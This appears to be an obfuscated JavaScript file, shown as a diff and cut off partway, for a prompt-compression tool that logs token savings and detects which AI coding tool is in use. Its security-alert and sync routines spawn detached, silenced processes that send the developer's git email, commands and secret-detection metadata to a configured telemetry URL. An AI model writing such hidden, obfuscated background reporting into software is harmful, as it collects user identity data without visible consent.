_0x13a1cf=a0_0x43a982;if(_0x4809b0===undefined)_0x4809b0=_0x2849e0;var _0x492fe3=Object[_0x13a1cf(0x193)](_0x263f85,_0x2849e0);(!_0x492fe3||('get'in _0x492fe3?!_0x263f85[_0x13a1cf(0x1b4)]:_0x492fe3[_0x13a1cf(0x177)]||_0x492fe3['configurable']))&&(_0x492fe3={'enumerable':!![],'get':function(){return _0x263f85[_0x2849e0];}}),Object[_0x13a1cf(0x1d1)](_0x582665,_0x4809b0,_0x492fe3);}:function(_0x2ebf60,_0x6265db,_0x2e8991,_0xf5a545){if(_0xf5a545===undefined)_0xf5a545=_0x2e8991;_0x2ebf60[_0xf5a545]=_0x6265db[_0x2e8991];}),__setModuleDefault=this&&this[a0_0x43a982(0x1bf)]||(Object['create']?function(_0x17bc1a,_0x11b7e5){const _0x4d7781=a0_0x43a982;Object['defineProperty'](_0x17bc1a,_0x4d7781(0x203),{'enumerable':!![],'value':_0x11b7e5});}:function(_0x2985aa,_0x1b3223){const _0x5b46db=a0_0x43a982;_0x2985aa[_0x5b46db(0x203)]=_0x1b3223;}),__importStar=this&&this[a0_0x43a982(0x1b3)]||(function(){var _0x912f14=function(_0x3e63e7){return _0x912f14=Object['getOwnPropertyNames']||function(_0x4a6cce){const _0x45fb13=a0_0x5c9b;var _0x40e249=[];for(var _0x2d5a98 in _0x4a6cce)if(Object[_0x45fb13(0x1a2)][_0x45fb13(0x189)]['call'](_0x4a6cce,_0x2d5a98))_0x40e249[_0x40e249[_0x45fb13(0x19a)]]=_0x2d5a98;return _0x40e249;},_0x912f14(_0x3e63e7);};return function(_0x1fa55b){const _0x11861f=a0_0x5c9b;if(_0x1fa55b&&_0x1fa55b[_0x11861f(0x1b4)])return _0x1fa55b;var _0x50ea92={};if(_0x1fa55b!=null){for(var _0x557715=_0x912f14(_0x1fa55b),_0x53544a=0x0;_0x53544a<_0x557715[_0x11861f(0x19a)];_0x53544a++)if(_0x557715[_0x53544a]!==_0x11861f(0x203))__createBinding(_0x50ea92,_0x1fa55b,_0x557715[_0x53544a]);}return __setModuleDefault(_0x50ea92,_0x1fa55b),_0x50ea92;};}());Object[a0_0x43a982(0x1d1)](exports,a0_0x43a982(0x1b4),{'value':!![]}),exports[a0_0x43a982(0x1d8)]=exports[a0_0x43a982(0x190)]=exports[a0_0x43a982(0x17e)]=void 0x0,exports[a0_0x43a982(0x198)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x43a982(0x191))),os=__importStar(require('os')),child_process_1=require(a0_0x43a982(0x195));exports[a0_0x43a982(0x17e)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x43a982(0x1e5),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x43a982(0x1f2),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x43a982(0x1ec),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x43a982(0x1ed),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x43a982(0x19e),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x43a982(0x1f7),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x43a982(0x1b8),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x43a982(0x1c9),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x43a982(0x1de),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x43a982(0x1da),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x43a982(0x18a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x43a982(0x18d),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x43a982(0x19d),'input_price_1m':1.1},'cursor-small':{'name':a0_0x43a982(0x19c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x43a982(0x192),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x43a982(0x207),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function a0_0x4f03(){const _0x5429a6=['__createBinding','claude-sonnet-4-5','max','AIDER_MODEL','toLowerCase','TRIMPROMPT_MODEL','sonnet','default','statsPath','claude-3-5-sonnet','sendSecurityAlert','Gemini\x203.1\x20Flash-Lite','opus','execSync','REPL_ID','CLAUDE_CODE','readFileSync','writable','gemini-3-5-flash','claude','estimated_compressed_tokens','claude-sonnet-4-6','auto','antigravity','PRICING','flash','init','telemetry_url',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','.raw.txt','mkdirSync','split','substring','1795680sWGYTc','toISOString','hasOwnProperty','GPT-4.1\x20Nano','CLAUDE_EFFORT','includes','GPT-4o\x20Mini','replit','model_used','Tracker','path','Gemini\x203.5\x20Flash','getOwnPropertyDescriptor','logsDir','child_process','replace','spawn','detectSessionTool','3028072zuYuXG','length','VSCODE_PID','Cursor\x20Small','OpenAI\x20o3-mini','Claude\x20Haiku\x203.5','execPath','command','tool','prototype','devin','1.0','290npNwaa','secretTypes','claude-opus-4-8','5chPxXB','saveLogs','claude_code',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','AI_AGENT','pop','o3mini','7nCjHDv','baseDir','gemini-3-1-pro','302933DfPAIz','__importStar','__esModule','o3-mini','.comp.txt','/api/security/alert','GPT-5.4','username','high','toString','toFixed','config','ignore','__setModuleDefault','input_price_1m','join','sync.js','stringify','configPath','cline','modelShort','name','create','GPT-4o','utf8','windsurf','6HvLBJS','CLAUDECODE','secretsFound','CURSOR_AGENT','gemini','defineProperty','platform','PATH','git\x20config\x20user.email','claude-code','CONTINUE_GLOBAL_DIR','timestamp','tracker','saveConfig','GPT-4.1\x20Mini','CLINE_DATA_DIR','trim','unref','GPT-5.4\x20Mini','copilot','config.json','continue','parse','2897676gMMIwg','GEMINI_CLI','Claude\x20Opus\x204.7','unknown','cursor','ceil','1605736iPQSGG','writeFileSync','pipe','Claude\x203.5\x20Sonnet','Claude\x20Haiku\x204.5','COPILOT_MODEL','push','getConfig','tokens_saved','Claude\x20Sonnet\x204.5','762471qvikuv','codex','2167MNAcng','existsSync','GPT-5.5','.trimprompt','estimated_raw_tokens','getStatsSummary','getLogs'];a0_0x4f03=function(){return _0x5429a6;};return a0_0x4f03();}function detectSessionTool(){const _0x263769=a0_0x43a982,_0x1288ad=process.env,_0x49e2e0={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x1288ad[_0x263769(0x201)]&&exports['PRICING'][_0x1288ad[_0x263769(0x201)]])return{'tool':'','model':_0x1288ad[_0x263769(0x201)],'modelShort':''};const _0x57d910=(_0x1288ad[_0x263769(0x1ac)]||'')[_0x263769(0x200)]();if(_0x57d910){if(_0x57d910[_0x263769(0x18c)](_0x263769(0x1d5))||_0x57d910[_0x263769(0x18c)](_0x263769(0x1aa))){const _0x27740a=_0x1288ad[_0x263769(0x18b)]===_0x263769(0x1ba)?_0x263769(0x208):'sonnet',_0x503d29=_0x1288ad[_0x263769(0x18b)]==='high'?_0x263769(0x1a7):_0x263769(0x17b);return{'tool':_0x263769(0x179),'model':_0x503d29,'modelShort':_0x27740a};}if(_0x57d910[_0x263769(0x18c)]('cursor'))return{'tool':_0x263769(0x1e7),'model':'claude-sonnet-4-6','modelShort':_0x263769(0x202)};if(_0x57d910[_0x263769(0x18c)]('github-copilot')||_0x57d910['includes'](_0x263769(0x1df))){const _0x57672d=_0x1288ad[_0x263769(0x1ee)]||'';if(_0x57672d&&exports[_0x263769(0x17e)][_0x57672d])return{'tool':'copilot','model':_0x57672d,'modelShort':_0x57672d[_0x263769(0x185)]('-')[_0x263769(0x1ad)]()||''};return{'tool':_0x263769(0x1df),'model':_0x263769(0x1fd),'modelShort':'sonnet'};}if(_0x57d910['includes'](_0x263769(0x1d0)))return{'tool':_0x263769(0x1d0),'model':_0x263769(0x178),'modelShort':_0x263769(0x17f)};if(_0x57d910['includes'](_0x263769(0x1f4)))return{'tool':'codex','model':_0x263769(0x1b5),'modelShort':_0x263769(0x1ae)};if(_0x57d910[_0x263769(0x18c)](_0x263769(0x1a3)))return{'tool':_0x263769(0x1a3),'model':_0x263769(0x17b),'modelShort':''};if(_0x57d910[_0x263769(0x18c)](_0x263769(0x17d)))return{'tool':'antigravity','model':'gemini-3-1-pro','modelShort':'gemini'};if(_0x57d910['includes'](_0x263769(0x18e))||_0x1288ad[_0x263769(0x20a)])return{'tool':'replit','model':_0x263769(0x17b),'modelShort':''};return{'tool':_0x57d910[_0x263769(0x185)]('_')[0x0][_0x263769(0x185)]('-')[0x0],'model':_0x263769(0x17b),'modelShort':''};}if(_0x1288ad[_0x263769(0x1cd)]==='1'||_0x1288ad[_0x263769(0x175)]==='1'){const _0x565509=_0x1288ad[_0x263769(0x18b)]===_0x263769(0x1ba)?_0x263769(0x208):_0x263769(0x202),_0x243268=_0x1288ad[_0x263769(0x18b)]===_0x263769(0x1ba)?_0x263769(0x1a7):'claude-sonnet-4-6';return{'tool':_0x263769(0x179),'model':_0x243268,'modelShort':_0x565509};}if(_0x1288ad[_0x263769(0x1cf)]==='1')return{'tool':_0x263769(0x1e7),'model':_0x263769(0x17b),'modelShort':_0x263769(0x202)};if(_0x1288ad[_0x263769(0x1e4)]==='1')return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x263769(0x17f)};if(_0x1288ad[_0x263769(0x1ee)]||_0x1288ad['COPILOT_GITHUB_TOKEN']){const _0xdef040=_0x1288ad[_0x263769(0x1ee)]||'';if(_0xdef040&&exports[_0x263769(0x17e)][_0xdef040])return{'tool':_0x263769(0x1df),'model':_0xdef040,'modelShort':_0xdef040['split']('-')[_0x263769(0x1ad)]()||''};return{'tool':'copilot','model':_0x263769(0x1fd),'modelShort':'sonnet'};}if(_0x1288ad['REPL_ID']||_0x1288ad['REPLIT_ENVIRONMENT'])return{'tool':_0x263769(0x18e),'model':_0x263769(0x17b),'modelShort':''};if(_0x1288ad[_0x263769(0x1db)])return{'tool':_0x263769(0x1c5),'model':_0x263769(0x17b),'modelShort':''};if(_0x1288ad[_0x263769(0x1d6)])return{'tool':_0x263769(0x1e1),'model':_0x263769(0x17b),'modelShort':''};if(_0x1288ad['ANTIGRAVITY_AGENT']==='1')return{'tool':_0x263769(0x17d),'model':_0x263769(0x1b1),'modelShort':'gemini'};if(_0x1288ad[_0x263769(0x18b)]){const _0x9d9162=_0x1288ad[_0x263769(0x18b)]==='high'?'opus':_0x263769(0x202),_0x371f72=_0x1288ad[_0x263769(0x18b)]===_0x263769(0x1ba)?'claude-opus-4-8':_0x263769(0x17b);return{'tool':'','model':_0x371f72,'modelShort':''};}if(_0x1288ad[_0x263769(0x1ff)]&&exports[_0x263769(0x17e)][_0x1288ad[_0x263769(0x1ff)]])return{'tool':'aider','model':_0x1288ad[_0x263769(0x1ff)],'modelShort':''};if(_0x1288ad[_0x263769(0x19b)]){const _0x1bd76c=(_0x1288ad[_0x263769(0x1d3)]||'')[_0x263769(0x200)]();if(_0x1bd76c[_0x263769(0x18c)](_0x263769(0x1e7)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x263769(0x202)};if(_0x1bd76c['includes'](_0x263769(0x1cb)))return{'tool':'windsurf','model':'claude-sonnet-4-6','modelShort':'sonnet'};}const _0x9b85db=process.env.TRIMPROMPT_MODEL||'';if(_0x9b85db&&exports[_0x263769(0x17e)][_0x9b85db])return{'tool':'','model':_0x9b85db,'modelShort':''};return _0x49e2e0;}class Tracker{['baseDir'];['configPath'];['statsPath'];['logsDir'];[a0_0x43a982(0x1bd)];constructor(){const _0x5bcdc3=a0_0x43a982;this[_0x5bcdc3(0x1b0)]=path[_0x5bcdc3(0x1c1)](os['homedir'](),_0x5bcdc3(0x1f8)),this[_0x5bcdc3(0x1c4)]=path['join'](this[_0x5bcdc3(0x1b0)],_0x5bcdc3(0x1e0)),this[_0x5bcdc3(0x204)]=path[_0x5bcdc3(0x1c1)](this[_0x5bcdc3(0x1b0)],'stats.json'),this['logsDir']=path[_0x5bcdc3(0x1c1)](this[_0x5bcdc3(0x1b0)],'logs'),this[_0x5bcdc3(0x180)]();}[a0_0x43a982(0x180)](){const _0x2f0d66=a0_0x43a982;!fs[_0x2f0d66(0x1f6)](this[_0x2f0d66(0x1b0)])&&fs[_0x2f0d66(0x184)](this[_0x2f0d66(0x1b0)],{'recursive':!![]});!fs['existsSync'](this['logsDir'])&&fs[_0x2f0d66(0x184)](this[_0x2f0d66(0x194)],{'recursive':!![]});const _0x43392a={'version':_0x2f0d66(0x1a4),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2f0d66(0x1a7)};if(fs[_0x2f0d66(0x1f6)](this[_0x2f0d66(0x1c4)]))try{const _0x5bebf0=fs['readFileSync'](this[_0x2f0d66(0x1c4)],_0x2f0d66(0x1ca));this[_0x2f0d66(0x1bd)]={..._0x43392a,...JSON[_0x2f0d66(0x1e2)](_0x5bebf0)};}catch(_0x30a654){this['config']=_0x43392a;}else this[_0x2f0d66(0x1bd)]=_0x43392a,this[_0x2f0d66(0x1d9)]();!fs[_0x2f0d66(0x1f6)](this[_0x2f0d66(0x204)])&&fs['writeFileSync'](this[_0x2f0d66(0x204)],JSON[_0x2f0d66(0x1c3)]([]),'utf8');}['getConfig'](){const _0x571d0c=a0_0x43a982;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x571d0c(0x181)]=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}['setConfig'](_0x410627,_0x2593bd){const _0x24307f=a0_0x43a982;this['config'][_0x410627]=_0x2593bd,this[_0x24307f(0x1d9)]();}[a0_0x43a982(0x1d9)](){const _0x27ede2=a0_0x43a982;fs[_0x27ede2(0x1ea)](this[_0x27ede2(0x1c4)],JSON[_0x27ede2(0x1c3)](this[_0x27ede2(0x1bd)],null,0x2),_0x27ede2(0x1ca));}['getLogs'](){const _0xe6e10=a0_0x43a982;try{if(!fs[_0xe6e10(0x1f6)](this[_0xe6e10(0x204)]))return[];const _0xc49b73=fs[_0xe6e10(0x176)](this[_0xe6e10(0x204)],'utf8');return JSON[_0xe6e10(0x1e2)](_0xc49b73);}catch{return[];}}['saveLogs'](_0x1e3c28){const _0x2f3572=a0_0x43a982;fs[_0x2f3572(0x1ea)](this[_0x2f3572(0x204)],JSON[_0x2f3572(0x1c3)](_0x1e3c28,null,0x2),_0x2f3572(0x1ca));}['logExecution'](_0x401b8c,_0x428507,_0xc32f1a,_0x1f225f,_0x4331d0){const _0x1ab520=a0_0x43a982,_0xfe0c1=this[_0x1ab520(0x1fb)](),_0x294285=_0x428507[_0x1ab520(0x19a)],_0x4d4c75=_0xc32f1a[_0x1ab520(0x19a)],_0x12b34e=Math[_0x1ab520(0x1e8)](_0x294285/0x4),_0x4582ff=Math[_0x1ab520(0x1e8)](_0x4d4c75/0x4),_0x1d2b6c=Math[_0x1ab520(0x1fe)](0x0,_0x12b34e-_0x4582ff),_0xf51bff=detectSessionTool(),_0x3139ca=_0xf51bff['model'],_0x21d633=Math['random']()[_0x1ab520(0x1bb)](0x24)[_0x1ab520(0x186)](0x2,0xb);try{const {redactor:_0x2dfea9}=require('./redactor'),_0xf0167e=_0x2dfea9?_0x2dfea9['redact'](_0x428507):_0x428507;fs[_0x1ab520(0x1ea)](path[_0x1ab520(0x1c1)](this['logsDir'],_0x21d633+_0x1ab520(0x183)),_0xf0167e,'utf8'),fs[_0x1ab520(0x1ea)](path['join'](this['logsDir'],_0x21d633+_0x1ab520(0x1b6)),_0xc32f1a,_0x1ab520(0x1ca));}catch{}const _0x52e815=_0x401b8c['split']('\x20')[0x0]||'unknown',_0x52cc7a=_0xf51bff[_0x1ab520(0x1a1)]?_0xf51bff['modelShort']?_0xf51bff[_0x1ab520(0x1a1)]+'-'+_0xf51bff[_0x1ab520(0x1c6)]+'-'+_0x52e815:_0xf51bff['tool']+'-'+_0x52e815:_0x52e815,_0x287358={'id':_0x21d633,'timestamp':new Date()[_0x1ab520(0x188)](),'command':_0x52cc7a,'raw_chars':_0x294285,'compressed_chars':_0x4d4c75,'estimated_raw_tokens':_0x12b34e,'estimated_compressed_tokens':_0x4582ff,'tokens_saved':_0x1d2b6c,'model_used':_0x3139ca,'exit_code':_0x1f225f,'synced':![],'ai_detected':!!_0xf51bff[_0x1ab520(0x1a1)],'secrets_found':_0x4331d0?.[_0x1ab520(0x1ce)]||0x0,'secret_types':_0x4331d0?.[_0x1ab520(0x1a6)]||[]};_0xfe0c1[_0x1ab520(0x1ef)](_0x287358),this[_0x1ab520(0x1a9)](_0xfe0c1);const _0x1f8b8c=this[_0x1ab520(0x1f0)]()[_0x1ab520(0x181)];return _0x1f8b8c&&_0x1f8b8c['trim']()[_0x1ab520(0x19a)]>0x0&&this['triggerBackgroundSync'](),_0x4331d0&&_0x4331d0[_0x1ab520(0x1ce)]>0x0&&this['sendSecurityAlert'](_0x287358,_0x4331d0),_0x287358;}[a0_0x43a982(0x206)](_0x21d916,_0x363479){const _0x268c9d=a0_0x43a982;try{let _0x24d883=this['getConfig']()['telemetry_url']||'';if(!_0x24d883)return;_0x24d883=_0x24d883[_0x268c9d(0x196)](/\/api\/telemetry\/?$/,_0x268c9d(0x1b7));if(!_0x24d883[_0x268c9d(0x18c)](_0x268c9d(0x1b7)))_0x24d883+=_0x268c9d(0x1b7);const {execSync:_0x1c6343}=require(_0x268c9d(0x195));let _0x2d76cf=_0x268c9d(0x1e6);try{_0x2d76cf=require(_0x268c9d(0x195))[_0x268c9d(0x209)](_0x268c9d(0x1d4),{'stdio':[_0x268c9d(0x1be),_0x268c9d(0x1eb),_0x268c9d(0x1be)]})[_0x268c9d(0x1bb)]()[_0x268c9d(0x1dc)]();}catch{}if(!_0x2d76cf||!_0x2d76cf[_0x268c9d(0x18c)]('@'))try{_0x2d76cf=require('os')['userInfo']()[_0x268c9d(0x1b9)];}catch{}const _0x483a5e=JSON['stringify']({'developer_id':_0x2d76cf,'timestamp':_0x21d916[_0x268c9d(0x1d7)],'command':_0x21d916[_0x268c9d(0x1a0)],'secrets_found':_0x363479['secretsFound'],'secret_types':_0x363479['secretTypes'],'os':require('os')[_0x268c9d(0x1d2)]()}),_0x39d849='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x268c9d(0x1c3)](_0x24d883)+_0x268c9d(0x1ab)+JSON[_0x268c9d(0x1c3)](_0x24d883)+_0x268c9d(0x182)+JSON[_0x268c9d(0x1c3)](_0x483a5e)+')',_0xc6d27d=(0x0,child_process_1[_0x268c9d(0x197)])(process[_0x268c9d(0x19f)],['-e',_0x39d849],{'detached':!![],'stdio':_0x268c9d(0x1be)});_0xc6d27d[_0x268c9d(0x1dd)]();}catch{}}['triggerBackgroundSync'](){const _0x399e65=a0_0x43a982;try{const _0x50728d=path[_0x399e65(0x1c1)](__dirname,_0x399e65(0x1c2));if(fs['existsSync'](_0x50728d)){const _0xe0a3ee=(0x0,child_process_1[_0x399e65(0x197)])(process[_0x399e65(0x19f)],[_0x50728d],{'detached':!![],'stdio':_0x399e65(0x1be)});_0xe0a3ee[_0x399e65(0x1dd)]();}}catch{}}[a0_0x43a982(0x1fa)](_0x4d3b58=a0_0x43a982(0x17c)){const _0x500847=a0_0x43a982,_0x405ae5=this[_0x500847(0x1fb)]();let _0xebb56c=0x0,_0x5a0bc4=0x0,_0x1c4c80=0x0;for(const _0x5919e8 of _0x405ae5){_0xebb56c+=_0x5919e8[_0x500847(0x1f9)],_0x5a0bc4+=_0x5919e8[_0x500847(0x17a)],_0x1c4c80+=_0x5919e8[_0x500847(0x1f1)];}let _0x4ec82e=_0x4d3b58;(!_0x4ec82e||_0x4ec82e===_0x500847(0x17c)||!exports[_0x500847(0x17e)][_0x4ec82e])&&(_0x405ae5['length']>0x0&&_0x405ae5[_0x405ae5[_0x500847(0x19a)]-0x1][_0x500847(0x18f)]?_0x4ec82e=_0x405ae5[_0x405ae5[_0x500847(0x19a)]-0x1]['model_used']:_0x4ec82e=this[_0x500847(0x1f0)]()['default_model']||_0x500847(0x205));const _0x4adb17=exports['PRICING'][_0x4ec82e]||exports['PRICING']['claude-3-5-sonnet'],_0x4150cf=_0x1c4c80*_0x4adb17[_0x500847(0x1c0)]/0xf4240,_0x399e3e=_0xebb56c*_0x4adb17[_0x500847(0x1c0)]/0xf4240,_0xdd7646=_0x5a0bc4*_0x4adb17[_0x500847(0x1c0)]/0xf4240,_0x25dd55=_0xebb56c>0x0?_0x1c4c80/_0xebb56c*0x64:0x0;return{'total_raw_tokens':_0xebb56c,'total_compressed_tokens':_0x5a0bc4,'total_tokens_saved':_0x1c4c80,'savings_percentage':parseFloat(_0x25dd55[_0x500847(0x1bc)](0x1)),'money_saved_usd':parseFloat(_0x4150cf['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x399e3e['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xdd7646[_0x500847(0x1bc)](0x4)),'model_name':_0x4adb17[_0x500847(0x1c7)],'model_key':_0x4ec82e};}}exports[a0_0x43a982(0x190)]=Tracker,exports['tracker']=new Tracker();
1
+ 'use strict';function a0_0x2d7d(_0x4ea8bf,_0x56cccd){_0x4ea8bf=_0x4ea8bf-0xcf;const _0x308284=a0_0x3082();let _0x2d7d40=_0x308284[_0x4ea8bf];return _0x2d7d40;}const a0_0x3165a2=a0_0x2d7d;(function(_0x4886f7,_0xf681fe){const _0x5f13fd=a0_0x2d7d,_0x296b3a=_0x4886f7();while(!![]){try{const _0x150098=parseInt(_0x5f13fd(0xf7))/0x1*(parseInt(_0x5f13fd(0x137))/0x2)+-parseInt(_0x5f13fd(0xe5))/0x3*(-parseInt(_0x5f13fd(0x107))/0x4)+parseInt(_0x5f13fd(0x125))/0x5+parseInt(_0x5f13fd(0x13c))/0x6*(-parseInt(_0x5f13fd(0x13e))/0x7)+-parseInt(_0x5f13fd(0x149))/0x8+-parseInt(_0x5f13fd(0xfb))/0x9+parseInt(_0x5f13fd(0x14f))/0xa;if(_0x150098===_0xf681fe)break;else _0x296b3a['push'](_0x296b3a['shift']());}catch(_0xd118e3){_0x296b3a['push'](_0x296b3a['shift']());}}}(a0_0x3082,0x2cf58));var __createBinding=this&&this[a0_0x3165a2(0x161)]||(Object[a0_0x3165a2(0x140)]?function(_0x59e357,_0xfbe925,_0x5ccfa7,_0x93e43f){const _0x321640=a0_0x3165a2;if(_0x93e43f===undefined)_0x93e43f=_0x5ccfa7;var _0x346668=Object['getOwnPropertyDescriptor'](_0xfbe925,_0x5ccfa7);(!_0x346668||(_0x321640(0x12c)in _0x346668?!_0xfbe925[_0x321640(0x102)]:_0x346668[_0x321640(0x15c)]||_0x346668['configurable']))&&(_0x346668={'enumerable':!![],'get':function(){return _0xfbe925[_0x5ccfa7];}}),Object['defineProperty'](_0x59e357,_0x93e43f,_0x346668);}:function(_0x5ae271,_0x4d6cb5,_0x303527,_0x16b6f0){if(_0x16b6f0===undefined)_0x16b6f0=_0x303527;_0x5ae271[_0x16b6f0]=_0x4d6cb5[_0x303527];}),__setModuleDefault=this&&this[a0_0x3165a2(0x101)]||(Object['create']?function(_0xb105dd,_0x46c214){Object['defineProperty'](_0xb105dd,'default',{'enumerable':!![],'value':_0x46c214});}:function(_0x3f0694,_0x46e435){const _0x1e8cc9=a0_0x3165a2;_0x3f0694[_0x1e8cc9(0x164)]=_0x46e435;}),__importStar=this&&this[a0_0x3165a2(0xd1)]||(function(){var _0xee05b=function(_0x3775f2){return _0xee05b=Object['getOwnPropertyNames']||function(_0xda50d6){const _0x1cec16=a0_0x2d7d;var _0x30d4bb=[];for(var _0x1d7a33 in _0xda50d6)if(Object[_0x1cec16(0xd2)][_0x1cec16(0x10e)][_0x1cec16(0xec)](_0xda50d6,_0x1d7a33))_0x30d4bb[_0x30d4bb[_0x1cec16(0x12a)]]=_0x1d7a33;return _0x30d4bb;},_0xee05b(_0x3775f2);};return function(_0x276029){const _0x3007f2=a0_0x2d7d;if(_0x276029&&_0x276029['__esModule'])return _0x276029;var _0x24912={};if(_0x276029!=null){for(var _0x5e5e39=_0xee05b(_0x276029),_0x41d2d0=0x0;_0x41d2d0<_0x5e5e39[_0x3007f2(0x12a)];_0x41d2d0++)if(_0x5e5e39[_0x41d2d0]!==_0x3007f2(0x164))__createBinding(_0x24912,_0x276029,_0x5e5e39[_0x41d2d0]);}return __setModuleDefault(_0x24912,_0x276029),_0x24912;};}());Object['defineProperty'](exports,a0_0x3165a2(0x102),{'value':!![]}),exports[a0_0x3165a2(0x141)]=exports[a0_0x3165a2(0x154)]=exports[a0_0x3165a2(0x129)]=void 0x0,exports[a0_0x3165a2(0xd9)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require(a0_0x3165a2(0xf8));exports[a0_0x3165a2(0x129)]={'claude-fable-5':{'name':a0_0x3165a2(0xff),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3165a2(0x103),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x3165a2(0x14b),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x3165a2(0x106),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3165a2(0xfd),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3165a2(0xd6),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3165a2(0xe8),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3165a2(0xfa),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3165a2(0x11a),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3165a2(0xf4),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3165a2(0x100),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x3165a2(0x166),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x3165a2(0x108),'input_price_1m':0.15},'o1':{'name':a0_0x3165a2(0x111),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x3165a2(0x132),'input_price_1m':1.1},'cursor-small':{'name':a0_0x3165a2(0x124),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3165a2(0xfc),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3165a2(0x148),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3165a2(0x167),'input_price_1m':3.5}};function detectSessionTool(){const _0x2a44cb=a0_0x3165a2,_0x3c3228=process.env,_0x1a596a={'tool':'','model':'claude-sonnet-4-6','modelShort':''};if(_0x3c3228[_0x2a44cb(0x151)]&&exports[_0x2a44cb(0x129)][_0x3c3228[_0x2a44cb(0x151)]])return{'tool':'','model':_0x3c3228['TRIMPROMPT_MODEL'],'modelShort':''};const _0x4181e4=(_0x3c3228[_0x2a44cb(0xe6)]||'')['toLowerCase']();if(_0x4181e4){if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x122))||_0x4181e4['includes'](_0x2a44cb(0xd0))){const _0x180ab2=_0x3c3228['CLAUDE_EFFORT']===_0x2a44cb(0xf0)?_0x2a44cb(0x163):_0x2a44cb(0xe4),_0x536930=_0x3c3228[_0x2a44cb(0x119)]===_0x2a44cb(0xf0)?_0x2a44cb(0x12e):_0x2a44cb(0x104);return{'tool':_0x2a44cb(0xd4),'model':_0x536930,'modelShort':_0x180ab2};}if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x152)))return{'tool':_0x2a44cb(0x152),'model':'claude-sonnet-4-6','modelShort':_0x2a44cb(0xe4)};if(_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0xfe))||_0x4181e4[_0x2a44cb(0xdd)](_0x2a44cb(0x150))){const 